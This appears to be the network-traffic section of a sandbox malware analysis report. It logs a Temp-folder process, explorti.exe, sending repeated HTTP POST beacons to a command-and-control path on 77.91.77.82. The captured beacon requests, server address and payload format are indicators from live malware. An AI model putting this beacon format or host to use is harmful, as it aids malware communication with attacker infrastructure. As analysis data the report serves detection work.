Aug 5, 2024 16:18:09.104533911 CEST	49730	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:09.269184113 CEST	80	49730	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:09.269201994 CEST	80	49730	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:12.822237968 CEST	49730	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:12.823661089 CEST	49731	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:12.828727961 CEST	80	49731	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:12.828814030 CEST	49731	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:12.828932047 CEST	49731	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:12.838139057 CEST	80	49731	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:16.839916945 CEST	49731	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:16.948470116 CEST	49732	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:16.954260111 CEST	80	49732	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:16.954375982 CEST	49732	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:16.954539061 CEST	49732	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:16.959841967 CEST	80	49732	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:20.962099075 CEST	49732	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:20.967293024 CEST	49734	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:20.972148895 CEST	80	49734	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:20.972219944 CEST	49734	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:20.972363949 CEST	49734	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:20.977256060 CEST	80	49734	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:24.977648020 CEST	49734	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:25.090471029 CEST	49740	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:25.095710993 CEST	80	49740	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:25.095810890 CEST	49740	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:25.095961094 CEST	49740	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:25.101281881 CEST	80	49740	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:29.092952967 CEST	49740	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:29.095509052 CEST	49741	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:29.100389957 CEST	80	49741	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:29.100516081 CEST	49741	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:29.100703955 CEST	49741	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:29.105463982 CEST	80	49741	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:33.102734089 CEST	49741	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:33.215029955 CEST	49742	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:33.222349882 CEST	80	49742	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:33.222440958 CEST	49742	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:33.222568035 CEST	49742	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:33.228817940 CEST	80	49742	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:37.227571964 CEST	49742	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:37.228648901 CEST	49743	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:37.234972000 CEST	80	49743	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:37.235090017 CEST	49743	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:37.235282898 CEST	49743	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:37.242203951 CEST	80	49743	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:41.227827072 CEST	49743	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:41.358306885 CEST	49744	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:41.363503933 CEST	80	49744	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:41.363605976 CEST	49744	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:41.363743067 CEST	49744	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:41.368870974 CEST	80	49744	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:45.368252039 CEST	49744	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:45.372113943 CEST	49745	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:45.377055883 CEST	80	49745	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:45.377155066 CEST	49745	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:45.377301931 CEST	49745	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:45.384953976 CEST	80	49745	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:49.368261099 CEST	49745	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:49.478780031 CEST	49746	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:49.483656883 CEST	80	49746	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:49.483802080 CEST	49746	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:49.484052896 CEST	49746	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:49.488775015 CEST	80	49746	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:53.493587971 CEST	49746	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:53.497736931 CEST	49747	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:53.502623081 CEST	80	49747	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:53.502760887 CEST	49747	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:53.502880096 CEST	49747	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:53.507782936 CEST	80	49747	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:57.509723902 CEST	49747	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:57.657438993 CEST	49748	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:57.662282944 CEST	80	49748	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:57.662406921 CEST	49748	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:57.667830944 CEST	49748	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:57.672888041 CEST	80	49748	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:01.685133934 CEST	49748	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:01.714576960 CEST	49750	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:01.719857931 CEST	80	49750	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:01.720309019 CEST	49750	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:01.720551968 CEST	49750	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:01.726221085 CEST	80	49750	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:05.727657080 CEST	49750	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:05.838476896 CEST	49751	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:05.843626976 CEST	80	49751	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:05.843724012 CEST	49751	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:05.843827963 CEST	49751	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:05.848617077 CEST	80	49751	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:09.890630960 CEST	49751	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:09.913692951 CEST	49752	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:09.919665098 CEST	80	49752	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:09.919745922 CEST	49752	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:09.920550108 CEST	49752	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:09.925407887 CEST	80	49752	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:13.930989027 CEST	49752	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:14.044394970 CEST	49753	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:14.050015926 CEST	80	49753	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:14.050157070 CEST	49753	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:14.050484896 CEST	49753	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:14.055248022 CEST	80	49753	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:15.354918003 CEST	49753	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:15.366476059 CEST	49754	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:15.371592999 CEST	80	49754	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:15.371690035 CEST	49754	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:15.380069971 CEST	49754	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:15.385684013 CEST	80	49754	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:19.384536982 CEST	49754	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:19.497401953 CEST	49755	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:20.445101023 CEST	80	49755	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:20.445207119 CEST	49755	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:20.445524931 CEST	49755	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:20.450336933 CEST	80	49755	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:41.805425882 CEST	80	49755	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:41.805634022 CEST	49755	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:41.810973883 CEST	49755	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:41.815762997 CEST	80	49755	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:41.952594042 CEST	49756	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:41.958108902 CEST	80	49756	77.91.77.82	192.168.2.4
Aug 5, 2024 16:19:41.958901882 CEST	49756	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:41.959041119 CEST	49756	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:19:41.964201927 CEST	80	49756	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:03.486038923 CEST	80	49756	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:03.486105919 CEST	49756	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:03.486361027 CEST	49756	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:03.491162062 CEST	80	49756	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:03.593059063 CEST	49757	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:03.597909927 CEST	80	49757	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:03.597994089 CEST	49757	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:03.600229979 CEST	49757	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:03.605004072 CEST	80	49757	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:22.009119034 CEST	49757	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:22.014420986 CEST	49758	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:22.021541119 CEST	80	49758	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:22.021605968 CEST	49758	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:22.021925926 CEST	49758	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:22.026813984 CEST	80	49758	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:26.009077072 CEST	49758	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:26.132016897 CEST	49759	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:26.381292105 CEST	80	49759	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:26.384327888 CEST	49759	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:26.388489008 CEST	49759	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:26.393449068 CEST	80	49759	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:47.744998932 CEST	80	49759	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:47.745094061 CEST	49759	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:47.745280981 CEST	49759	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:47.748497009 CEST	49760	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:47.750101089 CEST	80	49759	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:47.753599882 CEST	80	49760	77.91.77.82	192.168.2.4
Aug 5, 2024 16:20:47.753706932 CEST	49760	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:47.753798008 CEST	49760	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:20:47.758622885 CEST	80	49760	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:09.154659033 CEST	80	49760	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:09.154726028 CEST	49760	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:09.155019045 CEST	49760	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:09.159991026 CEST	80	49760	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:09.264230967 CEST	49761	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:09.269176006 CEST	80	49761	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:09.269306898 CEST	49761	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:09.269629955 CEST	49761	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:09.274552107 CEST	80	49761	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:30.671268940 CEST	80	49761	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:30.671348095 CEST	49761	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:30.671696901 CEST	49761	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:30.675632000 CEST	49762	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:30.681540966 CEST	80	49761	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:30.685457945 CEST	80	49762	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:30.685538054 CEST	49762	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:30.685717106 CEST	49762	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:30.695322037 CEST	80	49762	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:52.059648037 CEST	80	49762	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:52.059782028 CEST	49762	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:52.062205076 CEST	49762	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:52.067095041 CEST	80	49762	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:52.168368101 CEST	49763	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:52.174962044 CEST	80	49763	77.91.77.82	192.168.2.4
Aug 5, 2024 16:21:52.175110102 CEST	49763	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:52.175431967 CEST	49763	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:21:52.180721998 CEST	80	49763	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:03.450508118 CEST	49763	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:03.459403038 CEST	49764	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:03.465461016 CEST	80	49764	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:03.465524912 CEST	49764	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:03.465795994 CEST	49764	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:03.470721006 CEST	80	49764	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:07.478486061 CEST	49764	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:07.591020107 CEST	49765	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:07.596551895 CEST	80	49765	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:07.598304987 CEST	49765	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:07.598596096 CEST	49765	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:22:07.603997946 CEST	80	49765	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:28.970699072 CEST	80	49765	77.91.77.82	192.168.2.4
Aug 5, 2024 16:22:28.970930099 CEST	49765	80	192.168.2.4	77.91.77.82

HTTP Request Dependency Graph

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:08.835903883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Aug 5, 2024 16:18:09.104533911 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:12.828932047 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:16.954539061 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:20.972363949 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:25.095961094 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:29.100703955 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:33.222568035 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:37.235282898 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:41.363743067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:45.377301931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:49.484052896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:53.502880096 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:18:57.667830944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:01.720551968 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

